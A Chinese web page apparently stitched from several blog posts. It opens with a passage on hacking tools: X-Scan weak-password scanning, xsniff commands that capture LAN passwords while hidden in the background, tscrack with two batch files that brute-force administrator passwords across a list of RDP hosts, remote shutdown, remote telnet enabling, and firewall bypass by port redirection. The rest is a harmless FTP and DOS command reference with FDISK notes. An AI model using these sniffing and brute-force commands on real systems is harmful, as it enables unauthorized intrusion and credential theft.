    -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
    -port 检测常用服务的端口状态
    -ftp 检测FTP弱口令
    -pub 检测FTP服务匿名用户写权限
    -pop3 检测POP3-Server弱口令
    -smtp 检测SMTP-Server漏洞
    -sql 检测SQL-Server弱口令
    -smb 检测NT-Server弱口令
    -iis 检测IIS编码/解码漏洞
    -cgi 检测CGI漏洞
    -nasl 加载Nessus攻击脚本
    -all 检测以上所有项目
    其它选项
    -i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
    -l 显示所有网络适配器
    -v 显示详细扫描进度
    -p 跳过没有响应的主机
    -o 跳过没有检测到开放端口的主机
      -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
    -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
    用法示例
    xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
    xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
    xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测"hostlist.txt"文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机
    3、命令行方式嗅探器: xsniff.exe
    可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
    参数说明
    -tcp 输出TCP数据报
    -udp 输出UDP数据报
    -icmp 输出ICMP数据报
    -pass 过滤密码信息
    -hide 后台运行
    -host 解析主机名
    -addr IP地址 过滤IP地址
    -port 端口 过滤端口
    -log 文件名 将输出保存到文件
    -asc 以ASCII形式输出
    -hex 以16进制形式输出
    用法示例
    xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
    xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
    4、终端服务密码破解: tscrack.exe
    参数说明
    -h 显示使用帮助
    -v 显示版本信息
    -s 在屏幕上打出解密能力
    -b 密码错误时发出的声音
    -t 同是发出多个连接(多线程)
    -N Prevent System Log entries on targeted server
    -U 卸载移除tscrack组件
    -f 使用-f后面的密码
    -F 间隔时间(频率)
    -l 使用-l后面的用户名
    -w 使用-w后面的密码字典
    -p 使用-p后面的密码
    -D 登录主页面
    用法示例
    tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码
    tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
    @if not exist ipcscan.txt goto noscan
    @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
    nscan
    @echo 3389.txt no find or scan faild
    (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
    3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
    @if not exist tscrack.exe goto noscan
    @tscrack %1 -l administrator -w pass.dic >>rouji.txt
    :noscan
    @echo tscrack.exe no find or scan faild
    (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
    hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。
    5、其它:
    Shutdown.exe
    Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
    fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
    fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
    Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
    OpenTelnet.exe (远程开启telnet工具)
    opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
    NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。
    ResumeTelnet.exe (OpenTelnet附带的另一个工具)
    resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。
    6、FTP命令详解:
    FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。
    FTP的命令行格式为:
    ftp -v -d -i -n -g [主机名] ,其中
    -v 显示远程服务器的所有响应信息;
    -n 限制ftp的自动登录,即不使用;.n etrc文件;
    -d 使用调试方式;
    -g 取消全局文件名。

    FTP使用的内部命令如下(中括号表示可选项):
    1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
    2.$ macro-ame[args]: 执行宏定义macro-name。
    3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。
    5.ascii:使用ascii类型传输方式。
    6.bell:每个命令执行完毕后计算机响铃一次。
    7.bin:使用二进制文件传输方式。
    8.bye:退出ftp会话过程。
    9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
    10.cd remote-dir:进入远程主机目录。
    11.cdup:进入远程主机目录的父目录。
    12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。
    13.close:中断与远程服务器的ftp会话(与open对应)。
    14.cr:使用asscii方式传输文件时,将回车换行转换为回行。
    15.delete remote-file:删除远程主机文件。
    16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。
    17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
    18.disconnection:同close。
    19.form format:将文件传输方式设置为format,缺省为file方式。
    20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。
    21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
    22.hash:每传输1024字节,显示一个hash符号(#)。
    23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。
    25.image:设置二进制传输方式(同binary)。
    26.lcd[dir]:将本地工作目录切换至dir。
    27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
    28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。
    29.mdelete[remote-file]:删除远程主机文件。
    30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。
    31.mget remote-files:传输多个远程文件。
    32.mkdir dir-name:在远程主机中建一目录。
    33.mls remote-file local-file:同nlist,但可指定多个文件名。
    34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。
    35.modtime file-name:显示远程主机文件的最后修改时间。
    36.mput local-file:将多个文件传输至远程主机。
    37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
    38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。
    39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
    40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。
    41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
    42.passive:进入被动传输方式。
    43.prompt:设置多个文件传输时的交互提示。
    44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
    45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
    46.pwd:显示远程主机的当前工作目录。
    47.quit:同bye,退出ftp会话。
    48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.
    49.recv remote-file[local-file]:同get。
    50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。
    51.rhelp[cmd-name]:请求获得远程主机的帮助。
    52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。
    53.rename[from][to]:更改远程主机文件名。
    54.reset:清除回答队列。
    55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
    56.rmdir dir-name:删除远程主机目录。
    57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
    58.send local-file[remote-file]:同put。
    59.sendport:设置PORT命令的使用。
    60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。
    61.size file-name:显示远程主机文件大小,如:site idle 7200。
    62.status:显示当前ftp状态。
    63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
    64.sunique:将远程主机文件名存储设置为只一(与runique对应)。
    65.system:显示远程主机的操作系统类型。
    66.tenex:将文件传输类型设置为TENEX机的所需的类型。
    67.tick:设置传输时的字节计数器。
    68.trace:设置包跟踪。
    69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
    70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3
    71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
    72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.
    73.?[cmd]:同help.

     

     

    如果觉得这文章还算用心,请劳驾点击右下角的推荐,这是对我们这些做开源分享的最大的肯定,谢谢。

    作者:zqifa

    出处:http://www.cnblogs.com/zqifa/

    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接。

    展开全文
  • win98进入dos

    千次阅读 2012-08-20 20:26:55
     98系统可以通过两种方式进入DOS环境,一是开机按F8,二是启动98后按开始重启进入MS-DOS两种方法,但是这里一定要说明的是,第二种方法进入的觉得不是dos系统,而是一个运行在98上的dos模拟软件而已,所以测试DOS...

           虽然是一个很老的话题,但是DOS还是没有真正死亡的情况下还是说一下吧;
         98系统可以通过两种方式进入DOS环境,一是开机按F8,二是启动98后按开始重启进入MS-DOS两种方法,但是这里一定要说明的是,第二种方法进入的觉得不是dos系统,而是一个运行在98上的dos模拟软件而已,所以测试DOS程序的话一定要开始按F8进入。至于差别就是windows和dos的差别了,不管是从内存管理还是设备管理都是有着天壤之别的。

    展开全文
  • windows98DOS命令大全

    2009-09-25 05:30:34
    详细讲述了windows的dos下的命令
  • dos命令大全

    2019-01-14 16:37:19
    DOS基本命令MD——建立子目录 1.功能:创建新的子目录 2.类型:内部命令 3.格式:MD[盘符:][路径名]〈子目录名〉 4.使用说明: (1)“盘符”:指定要建立子目录的磁盘驱动器字母,若省略,则为当前驱动器; ...

    文章来源:https://www.cnblogs.com/defen/p/5618226.html

    因为原文章不好区分重难点,所有我对文章进行了重难点区分,这样大家看起来也较为直观和清晰。

    DOS基本命令
    MD——建立子目录
    1.功能:创建新的子目录
    2.类型:内部命令
    3.格式:MD[盘符:][路径名]〈子目录名〉
    4.使用说明:
    (1)“盘符”:指定要建立子目录的磁盘驱动器字母,若省略,则为当前驱动器;
    (2)“路径名”:要建立的子目录的上级目录名,若缺省则建在当前目录下。
    例:(1)在C盘的根目录下创建名为FOX的子目录;(2)在FOX子目录下再创建USER子目录。
    C:、>MD FOX (在当前驱动器C盘下创建子目录FOX)
    C:、>MD FOX 、USER (在FOX 子目录下再创建USER子目录)
    CD——改变当前目录
    1.功能:显示当前目录
    2.类型:内部命令
    3.格式:CD[盘符:][路径名][子目录名]
    4.使用说明:
    (1)如果省略路径和子目录名则显示当前目录;
    (2)如采用“CD、”格式,则退回到根目录;
    (3)如采用“CD.。”格式则退回到上一级目录。
    例:(1)进入到USER子目录;(2)从USER子目录退回到子目录;(3)返回到根目录。
    C:、>CD FOX 、USER(进入FOX子目录下的USER子目录)
    C:、FOX、USER>CD.。 (退回上一级根目录)
    C:、FOX>CD、 (返回到根目录)
    C:、>
    RD——删除子目录命令
    1.功能:从指定的磁盘删除了目录。
    2.类型:内部命令
    3.格式:RD[盘符:][路径名][子目录名]
    4.使用说明:
    (1)子目录在删除前必须是空的,也就是说需要先进入该子目录,使用DEL(删除文件的命令)将其子目录下的文件删空,然后再退回到上一级目录,用RD命令删除该了目录本身;
    (2)不能删除根目录和当前目录。
    例:要求把C盘FOX子目录下的USER子目录删除,操作如下:
    第一步:先将USER子目录下的文件删空;
    C、>DEL C:、FOX、USER、*。*
    第二步,删除USER子目录。
    C、>RD C:、FOX、USER
    DIR——显示磁盘目录命令
    1.功能:显示磁盘目录的内容。
    2.类型:内部命令
    3.格式:DIR [盘符][路径][/P][/W]
    4. 使用说明:/P的使用;当欲查看的目录太多,无法在一屏显示完屏幕会一直往上卷,不容易看清,加上/P参数后,屏幕上会分面一次显示23行的文件信息,然后暂停,并提示;Press any key to continue
    /W的使用:加上/W只显示文件名,至于文件大小及建立的日期和时间则都省略。加上参数后,每行可以显示五个文件名。
    PATH——路径设置命令
    1.功能:设备可执行文件的搜索路径,只对文件有效。
    2.类型:内部命令
    3.格式:PATH[盘符1]目录[路径名1]{[;盘符2:],〈目录路径名2〉…}
    4.使用说明:
    (1)当运行一个可执行文件时,DOS会先在当前目录中搜索该文件,若找到则运行之;若找不到该文件,则根据PATH命令所设置的路径,顺序逐条地到目录中搜索该文件;
    (2)PATH命令中的路径,若有两条以上,各路径之间以一个分号“;”隔开;
    (3)PATH命令有三种使用方法:
    PATH[盘符1:][路径1][盘符2:][路径2]…(设定可执行文件的搜索路径)
    PATH:(取消所有路径)
    PATH:(显示目前所设的路径)
    TREE——显示磁盘目录结构命令
    1.功能:显示指定驱动器上所有目录路径和这些目录下的所有文件名。
    2.类型:外部命令
    3.格式:TREE[盘符:][/F][》PRN]
    4.使用说明:
    (1)使用/F参数时显示所有目录及目录下的所有文件,省略时,只显示目录,不显示目录下的文件;
    (2)选用>PRN参数时,则把所列目录及目录中的文件名打印输出。
    DELTREE——删除整个目录命令
    1.功能:将整个目录及其下属子目录和文件删除。
    2.类型:外部命令
    3.格式:DELTREE[盘符:]〈路径名〉
    4.使用说明:该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除,而且不管文件的属性为隐藏、系统或只读,只要该文件位于删除的目录之下,DELTREE都一视同仁,照删不误。使用时务必小心!!!
    FORMAT——磁盘格式化命令
    1.功能:对磁盘进行格式化,划分磁道和扇区;同时检查出整个磁盘上有无带缺陷的磁道,对坏道加注标记;建立目录区和文件分配表,使磁盘作好接收DOS的准备。
    2.类型:外部命令
    3.格式:FORMAT〈盘符:〉[/S][/4][/Q]
    4.使用说明:
    (1)命令后的盘符不可缺省,若对硬盘进行格式化,则会如下列提示:WARNING:ALL DATA ON NON ——REMOVABLE DISK
    DRIVE C:WILL BE LOST !
    Proceed with Format (Y/N)?
    (警告:所有数据在C盘上,将会丢失,确实要继续格式化吗?)
    (2)若是对软盘进行格式化,则会如下提示:Insert mew diskette for drive A;
    and press ENTER when ready…
    (在A驱中插入新盘,准备好后按回车键)。
    (3)选用[/S]参数,将把DOS系统文件IO.SYS 、MSDOS.SYS及COMMAND.COM复制到磁盘上,使该磁盘可以做为DOS启动盘。若不选用/S参数,则格式化后的磙盘只能读写信息,而不能做为启动盘;
    (4)选用[/4]参数,在1.2MB的高密度软驱中格式化360KB的低密度盘;
    (5)选用[/Q]参数,快速格式化,这个参数并不会重新划分磁盘的磁道貌岸然和扇区,只能将磁盘根目录、文件分配表以及引导扇区清成空白,因此,格式化的速度较快。
    (6)选用[/U]参数,表示无条件格式化,即破坏原来磁盘上所有数据。不加/U,则为安全格式化,这时先建立一个镜象文件保存原来的FAT表和根目录,必要时可用UNFORRMAT恢复原来的数据。
    UNFORMAT恢复格式化命令
    1.功能:对进行过格式化误操作丢失数据的磁盘进行恢复。
    2.类型:外部命令
    3.格式:UNFORMAT〈盘符〉[/L][/U][/P][/TEST]
    4.使用说明:用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区(包括FAT、根目录、BOOT扇区及硬盘分区表)受损时,也可以用UNFORMAT来抢救。
    (1)选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息,但不会真的做FORMAT工作。
    (2)选用/P参数将显示于屏幕的报告(包含/L参数所产生的信息)同时也送到打印机。运行时屏幕会显示:“Print out will be sent to LPT1”
    (3)选用/TEST参数只做模拟试验(TEST)不做真正的写入动作。使用此参数屏幕会显示:“Simulation only”
    (4)选用/U参数不使用MIRROR映像文件的数据,直接根据磁盘现状进行UNFORMAT。
    (5)选用/PSRTN;修复硬盘分区表。
    若在盘符之后加上/P、/L、/TEST之一,都相当于使用了/U参数,UNFORMAT会“假设”此时磁盘没有MIRROR映像文件。
    注意:UNFORMAT对于刚FORMAT的磁盘,可以完全恢复,但FORMAT后若做了其它数据的写入,则UNFORMAT就不能完整的救回数据了。UNFORMAT并非是万能的,由于使用UNFORMAT会重建FAT与根目录,所以它也具有较高的危险性,操作不当可能会扩大损失,如果仅误删了几个文件或子目录,只需要利用UNDELETE就够了。
    CHKDSK——检查磁盘当前状态命令
    1.功能:显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。
    2.类型:外部命令
    3.格式:CHKDSK [盘符:][路径][文件名][/F][/V]
    4.使用说明:
    (1)选用[文件名]参数,则显示该文件占用磁盘的情况;
    (2)选[/F]参数,纠正在指定磁盘上发现的逻辑错误;
    (3)选用[/V]参数,显示盘上的所有文件和路径。
    chkdsk 与 compress 命令
    用chkdsk c:/f可以对C盘自动修复丢失的簇,一般对根目录产生的file???.chk等文件予以删除,在使用compress 之前先做chkdsk 命令
    compress 参数如下:
      /cu 不重新链接文件 /cf全面压缩
      /cc 全面压缩,并清除扫描剩余的簇 /cs优化剩余的空间
      /cd 优化各子目录 /nm禁止镜象工作(压缩之后)
      /video 屏显命令行 /os标准方式排序
      /of指定文件优先 /oo子目录优先
      /od子目录在文件之后 /sf按照文件名排序
      /se按照扩展名 /st按照时间排序
      /ss按照文件大小 /sa升序
      sd按照降序
      最常见的方法: compress c:/cc/sf
     注意:1)不能对win95增容处理过的硬盘压缩
       2)对于win95下的长文件名格式不支持
       3)对于一些加密软件安装时产生的文件,压缩后应重新进行安装.
      标记为\"X\"的为坏道,\"D\"为根目录 \"F\"为文件分配表 \"B\"为引导扇区
    DISKCOPY——整盘复制命令
    1.功能:复制格式和内容完全相同的软盘。
    2.类型:外部命令
    3.格式:DISKCOPY[盘符1:][盘符2:]
    4.使用说明:
    (1)如果目标软盘没有格式化,则复制时系统自动选进行格式化。
    (2)如果目标软盘上原有文件,则复制后将全部丢失。
    (3)如果是单驱动器复制,系统会提示适时更换源盘和目标盘,请操作时注意分清源盘和目标盘。
    LABEL——建立磁盘卷标命令
    1.功能:建立、更改、删除磁盘卷标。
    2.类型:外部命令
    3.格式:LABEL[盘符:][卷标名]
    4.使用说明:
    (1)卷标名为要建立的卷标名,若缺省此参数,则系统提示键入卷标名或询问是否删除原有的卷标名;
    (2)卷标名由1至11个字符组成。
    VOL——显示磁盘卷标命令
    1.功能:查看磁盘卷标号。
    2.类型:内部命令
    3.格式:VOL[盘符:]
    4.使用说明:省略盘符,显示当前驱动器卷标。
    SCANDISK——检测、修复磁盘命令
    1.功能:检测磁盘的FAT表、目录结构、文件系统等是否有问题,并可将检测出的问题加以修复。
    2.类型:外部命令
    3.格式:SCANDISK[盘符1:]{[盘符2:]…}[/ALL]
    4.使用说明:
    (1)CCANDISK适用于硬盘和软盘,可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘;
    (2)可自动检测出磁盘中所发生的交叉连接、丢失簇和目录结构等逻辑上的错误,并加以修复。
    DEFRAG——重整磁盘命令
    1.。功能:整理磁盘,消除磁盘碎块。
    2.类型:外部命令
    3.格式:DEFRAG[盘符:][/F]
    4.使用说明:选用/F参数,将文件中存在盘上的碎片消除,并调整磁盘文件的安排,确保文件之间毫无空隙。从而加快读盘速度和节省磁盘空间。
    SYS——系统复制命令 Sys.COM
    1.功能:将当前驱动器上的DOS系统文件IO.SYS,MSDOS.SYS和COMMAND.COM 传送到指定的驱动器上。
    2.类型:外部命令
    3.格式:SYS[盘符:]
    *使用说明:如果磁盘剩余空间不足以存放系统文件,则提示:No roomfor on destination disk.
    COPY文件复制命令
    1.功能:拷贝一个或多个文件到指定盘上。
    2.类型:内部命令
    3.格式:COPY [源盘][路径]〈源文件名〉[目标盘][路径][目标文件名]
    4.使用说明:
    (1)COPY是文件对文件的方式复制数据,复制前目标盘必须已经格式化;
    (2)复制过程中,目标盘上相同文件名称的旧文件会被源文件取代;
    (3)复制文件时,必须先确定目标般有足够的空间,否则会出现;insufficient的错误信息,提示磁盘空间不够;
    (4)文件名中允许使用通配举“*”“?”,可同时复制多个文件;
    (5)COPY命令中源文件名必须指出,不可以省略。
    (6)复制时,目标文件名可以与源文件名相同,称作“同名拷贝”此时目标文件名可以省略;
    (7)复制时,目标文件名也可以与源文件名不相同,称作“异名拷贝”,此时,目标文件名不能省略;
    (8)复制时,还可以将几个文件合并为一个文件,称为“合并拷贝”,格式如下:COPY;[源盘][路径]〈源文件名1〉〈源文件名2〉…[目标盘][路径]〈目标文件名〉;
    (9)利用COPY命令,还可以从键盘上输入数据建立文件,格式如下:COPY CON [盘符:][路径]〈文件名〉;
    (10)注意:COPY命令的使用格式,源文件名与目标文件名之间必须有空格!
    XCOPY——目录复制命令
    1.功能:复制指定的目录和目录下的所有文件连同目录结构。
    2.类型:外部命令
    3.格式:XCOPY [源盘:]〈源路径名〉[目标盘符:][目标路径名][/S][/V][/E]
    4.使用说明:
    (1)XCOPY是COPY的扩展,可以把指定的目录连文件和目录结构一并拷贝,但不能拷贝隐藏文件和系统文件;
    (2)使用时源盘符、源目标路径名、源文件名至少指定一个;
    (3)选用/S时对源目录下及其子目录下的所有文件进行COPY。除非指定/E参数,否则/S不会拷贝空目录,若不指定/S参数,则XCOPY只拷贝源目录本身的文件,而不涉及其下的子目录;
    (4)选用/V参数时,对的拷贝的扇区都进行较验,但速度会降低。
    TYPE——显示文件内容命令
    1.功能:显示ASCII码文件的内容。
    2.类型:内部命令。
    3.格式:TYPE[盘符:][路径]〈文件名〉
    4.使用说明:
    (1)显示由ASCII码组成的文本文件,对。EXE.COM等为扩展名的文件,其显示的内容是无法阅读的,没有实际意义2;
    (2)该命令一次只可以显示一个文件的内容,不能使用通配符;
    (3)如果文件有扩展名,则必须将扩展名写上;
    (4)当文件较长,一屏显示不下时,可以按以下格式显示;TYPE[盘符:][路径]〈文件名〉|MORE,MORE为分屏显示命令,使用些参数后当满屏时会暂停,按任意键会继续显示。
    (5)若需将文件内容打印出来,可用如下格式:
    TYPE[盘符:][路径]〈文件名〉,>PRN
    此时,打印机应处于联机状态。
    REN——文件改名命令
    1.功能:更改文件名称
    2.类型:内部命令
    3.格式:REN[盘符:][路径]〈旧文件名〉〈新文件名〉
    4.使用说明:
    (1)新文件名前不可以加上盘符和路径,因为该命令只能对同一盘上的文件更换文件名;
    (2)允许使用通配符更改一组文件名或扩展名。
    FC——文件比较命令
    1.功能:比较文件的异同,并列出差异处。
    2.类型:外部命令
    3.格式:FC[盘符:][路径名]〈文件名〉[盘符:][路径名][文件名][/A][/B][/C][/N]
    4.使用说明:
    (1)选用/A参数,为ASCII码比较模式;
    (2)选用/B参数,为二进制比较模式;
    (3)选用/C参数,将大小写字符看成是相同的字符。
    (4)选用/N参数,在ASCII码比较方式下,显示相异处的行号。
    ATTRIB——修改文件属性命令
    1.功能:修改指定文件的属性。(文件属性参见2.5.4(二)文件属性一节)
    2.类型:外部命令。
    3.格式:ATTRIB[文件名][R][——R][A][——A][H][——H][S][——S][/S]
    4.使用说明:
    (1)选用R参数,将指定文件设为只读属性,使得该文件只能读取,无法写入数据或删除;选用——R参数,去除只读属性;
    (2)选用A参数,将文件设置为档案属性;选用——A参数,去除档案属性;
    (3)选用H参数,将文件调协为隐含属性;选用——H参数,去隐含属性;
    (4)选用S参数,将文件设置为系统属性;选用——S参数,去除系统属性;
    (5)选用/S参数,对当前目录下的所有子目录及作设置。
    DEL——删除文件命令
    1.功能:删除指定的文件。
    2.类型:内部命令
    3.格式:DEL[盘符:][路径]〈文件名〉[/P]
    4.使用说明:
    (1)选用/P参数,系统在删除前询问是否真要删除该文件,若不使用这个参数,则自动删除;
    (2)该命令不能删除属性为隐含或只读的文件;
    (3)在文件名称中可以使用通配符;
    (4)若要删除磁盘上的所有文件(DEL*·*或DEL·),则会提示:(Arey ou sure?)(你确定吗?)若回答Y,则进行删除,回答N,则取消此次删除作业。
    UNDELETE——恢复删除命令
    1.功能:恢复被误删除命令
    2.类型:外部命令。
    3.格式:UNDELETE[盘符:][路径名]〈文件名〉[/DOS]/LIST][/ALL]
    4.使用说明:使用UNDELETE可以使用“*”和“?”通配符。
    (1)选用/DOS参数根据目录里残留的记录来恢复文件。由于文件被删除时,目录所记载斩文件名第一个字符会被改为E5,DOS即依据文件开头的E5和其后续的字符来找到欲恢复的文件,所以,UNDELETE会要求用户输入一个字符,以便将文件名字补齐。但此字符不必和原来的一样,只需符合DOS的文件名规则即可。
    (2)选用/LIST只“列出”符合指定条件的文件而不做恢复,所以对磁盘内容完全不会有影响。
    (3)选用/ALL自动将可完全恢复的文件完全恢复,而不一一地询问用户,使用此参数时,若UNDELTE利用目录里残留的记录来将文件恢复,则会自动选一个字符将文件名补齐,并且使其不与现存文件名相同,选用字符的优选顺序为:#%——0000123456789A~Z。
    UNDELETE还具有建立文件的防护措施的功能,已超出本课程授课范围,请读者在使用些功能时查阅有关DOS手册。
    CLS——清屏幕命令
    1功能:清除屏幕上的所有显示,光标置于屏幕左上角。
    2类型:内部命令
    3格式:CLS
    VER查看系统版本号命令
    1功能:显示当前系统版本号
    2类型:内部命令
    3格式:VER
    DATA日期设置命令
    1功能:设置或显示系统日期。
    2类型:内部命令
    3格式:DATE[mm——dd——yy]
    4使用说明:
    (1)省略[mm——dd——yy]显示系统日期并提示输入新的日期,不修改则可直接按回车键,[mm——dd——yy]为“月月——日日——年年”格式;
    (2)当机器开始启动时,有自动处理文件(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。
    TIME系统时钟设置命令
    1功能:设置或显示系统时期。
    2类型:内部命令
    3格式:TIME[hh:mm:ss:xx]
    4使用说明:
    (1)省略[hh:mm:ss:xx],显示系统时间并提示输入新的时间,不修改则可直接按回车键,[hh:mm:ss:xx]为“小时:分钟:秒:百分之几秒”格式;
    (2)当机器开始启动时,有自动处理文件(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。
    MEM查看当前内存状况命令
    1功能:显示当前内存使用的情况
    2类型:外部命令
    3格式:MEM[/C][/F][/M][/P]
    4使用说明:
    (1)选用/C参数列出装入常规内存和CMB的各文件的长度,同时也显示内存空间的使用状况和最大的可用空间;
    (2)选用/F参数分别列出当前常规内存剩余的字节大小和UMB可用的区域及大小;
    (3)选用/M参数显示该模块使用内存地地址、大小及模块性质;
    (4)选用/P参数指定当输出超过一屏时,暂停供用户查看。
    MSD显示系统信息命令
    1功能:显示系统的硬件和操作系统的状况。
    2类型:外部命令
    3格式:MSD[/I][/B][/S]
    4使用说明:
    (1)选用/I参数时,不检测硬件;
    (2)选用/B参数时,以黑白方式启动MSD;
    (3)选用/S参数时,显示出简明的系统报告。
    DOS下应用程序的使用方法
    一、arj 压缩命令的使用
      arj a a:pp c:*.dbf 普遍方法 使用arj x a:pp解压
      arj a -r -va a:pp c:*.dbf
      arj x -r -va a:pp -va参数自动测试a盘的剩余容量,
      -r参数自动压缩子目录下的文件.
      arj a -je a:pp c:*.dbf 解压时直接运行pp.exe 即可.
      -je 参数自动生成可以自动解压的文件.
      arj a -r -va -g? a:pp c:*.dbf 生成带有口令的文件
      arj x -r -va -g? a:pp 解压时需要输入正确的口令.
      arj a -r -vva a:pp c:*.dbf 更换磁盘时响铃提示.
      -jt 压缩时作效验工作,确保数据完好.
      e 解开时自动创建子目录,不需要提示
      l 显示压缩文件中包含的文件目录.
      -o:980818 98年8月18日后的所有文件全部压缩(含这天)
      -ob:980818 98年8月18日前的所有文件全部压缩(不含这天)
     各种提示符:
      Quit 中止退出
      Always 对当前的提问永远作\"Yes\"回答(当解开压缩时,?需要覆盖原来存在的文件时,就需要\"A\"回答.
      Skip 对当前的提问作一个肯定回答.
      Yes 仅对当前提问作一个肯定回答
      No 仅对当前提问作一个否定回答
      Global对当前盘作肯定回答,换盘后需要另行回答.
      Command 提示输入一个可执行dos命令.
    FDISK使用介绍
    对硬盘进行分区、格式化,是每个硬盘都必须经过的步骤。在这里我就来具体讲解一下怎样使用FDISK进行硬盘分区。
    FDISK程序是DOS和Windows系统自带的分区软件,虽然其功能比不上有些软件,但用它分区是十分安全的。一下就是具体的操作步骤:
    1)进入DOS方式。在系统引导、出现\"Starting Windows.....\"的时候按下\"F8\"键,然后再选择\"Command Prompt Only\"即可进入DOS方式。
    2)键入\"FDISK\"后回车即可进入。
